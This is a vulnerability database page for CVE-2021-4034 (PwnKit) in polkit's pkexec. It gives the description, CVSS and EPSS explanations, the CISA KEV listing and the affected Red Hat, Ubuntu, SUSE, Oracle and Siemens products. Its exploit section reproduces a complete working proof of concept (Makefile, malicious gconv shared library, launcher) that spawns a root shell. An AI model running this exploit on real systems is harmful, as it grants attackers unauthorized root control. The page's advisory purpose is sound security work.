CVE-2021-4034 : Detail

CVE-2021-4034

7.8
/
High
Overflow
0.14%V3
Local
2022-01-28
00h00 +00:00
2025-02-13
16h28 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.
CWE-125 Out-of-bounds Read
The product reads data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Red Hat Polkit Out-of-Bounds Read and Write Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-06-26 22h00 +00:00

Action is due : 2022-07-17 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 50689

Publication date : 2022-01-26 23h00 +00:00
Author : Lance Biggerstaff
EDB Verified : No

# Exploit Title: PolicyKit-1 0.105-31 - Privilege Escalation # Exploit Author: Lance Biggerstaff # Original Author: ryaagard (https://github.com/ryaagard) # Date: 27-01-2022 # Github Repo: https://github.com/ryaagard/CVE-2021-4034 # References: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt # Description: The exploit consists of three files `Makefile`, `evil-so.c` & `exploit.c` ##### Makefile ##### all: gcc -shared -o evil.so -fPIC evil-so.c gcc exploit.c -o exploit clean: rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so ################# ##### evil-so.c ##### #include <stdio.h> #include <stdlib.h> #include <unistd.h> void gconv() {} void gconv_init() { setuid(0); setgid(0); setgroups(0); execve("/bin/sh", NULL, NULL); } ################# ##### exploit.c ##### #include <stdio.h> #include <stdlib.h> #define BIN "/usr/bin/pkexec" #define DIR "evildir" #define EVILSO "evil" int main() { char *envp[] = { DIR, "PATH=GCONV_PATH=.", "SHELL=ryaagard", "CHARSET=ryaagard", NULL }; char *argv[] = { NULL }; system("mkdir GCONV_PATH=."); system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR); system("mkdir " DIR); system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules"); system("cp " EVILSO ".so " DIR); execve(BIN, argv, envp); return 0; } #################

Products Mentioned

Configuraton 0

Polkit_project>>Polkit >> Version To (excluding) 121

Configuraton 0

Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 7.6

  • Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 7.6 (Open CPE detail)

Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 7.7

  • Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 7.7 (Open CPE detail)

Redhat>>Enterprise_linux >> Version 8.0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_eus >> Version 8.2

Redhat>>Enterprise_linux_for_ibm_z_systems >> Version 7.0

Redhat>>Enterprise_linux_for_ibm_z_systems >> Version 8.0

Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.2

Redhat>>Enterprise_linux_for_ibm_z_systems_eus >> Version 8.4

Redhat>>Enterprise_linux_for_power_big_endian >> Version 7.0

Redhat>>Enterprise_linux_for_power_little_endian >> Version 7.0

Redhat>>Enterprise_linux_for_power_little_endian >> Version 8.0

Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.1

Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.2

Redhat>>Enterprise_linux_for_power_little_endian_eus >> Version 8.4

Redhat>>Enterprise_linux_for_scientific_computing >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_server_aus >> Version 7.3

Redhat>>Enterprise_linux_server_aus >> Version 7.4

Redhat>>Enterprise_linux_server_aus >> Version 7.6

Redhat>>Enterprise_linux_server_aus >> Version 7.7

Redhat>>Enterprise_linux_server_aus >> Version 8.2

Redhat>>Enterprise_linux_server_aus >> Version 8.4

Redhat>>Enterprise_linux_server_eus >> Version 8.4

Redhat>>Enterprise_linux_server_tus >> Version 7.6

Redhat>>Enterprise_linux_server_tus >> Version 7.7

Redhat>>Enterprise_linux_server_tus >> Version 8.2

Redhat>>Enterprise_linux_server_tus >> Version 8.4

Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 8.1

  • Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 8.1 (Open CPE detail)

Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 8.2

  • Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 8.2 (Open CPE detail)

Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 8.4

  • Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 8.4 (Open CPE detail)

Redhat>>Enterprise_linux_workstation >> Version 7.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 18.04

Canonical>>Ubuntu_linux >> Version 20.04

Canonical>>Ubuntu_linux >> Version 21.10

Configuraton 0

Suse>>Enterprise_storage >> Version 7.0

Suse>>Linux_enterprise_high_performance_computing >> Version 15.0

Suse>>Manager_proxy >> Version 4.1

Suse>>Manager_server >> Version 4.1

Suse>>Linux_enterprise_desktop >> Version 15

Suse>>Linux_enterprise_server >> Version 15

Suse>>Linux_enterprise_server >> Version 15

Suse>>Linux_enterprise_workstation_extension >> Version 12

Configuraton 0

Oracle>>Http_server >> Version 12.2.1.3.0

Oracle>>Http_server >> Version 12.2.1.4.0

Oracle>>Zfs_storage_appliance_kit >> Version 8.8

Configuraton 0

Siemens>>Sinumerik_edge >> Version To (excluding) 3.3.0

Configuraton 0

Siemens>>Scalance_lpe9403_firmware >> Version To (excluding) 2.0

Siemens>>Scalance_lpe9403 >> Version -

Configuraton 0

Starwindsoftware>>Command_center >> Version 1.0

Starwindsoftware>>Starwind_virtual_san >> Version v8

References

https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Tags : Exploit, Mitigation, Third Party Advisory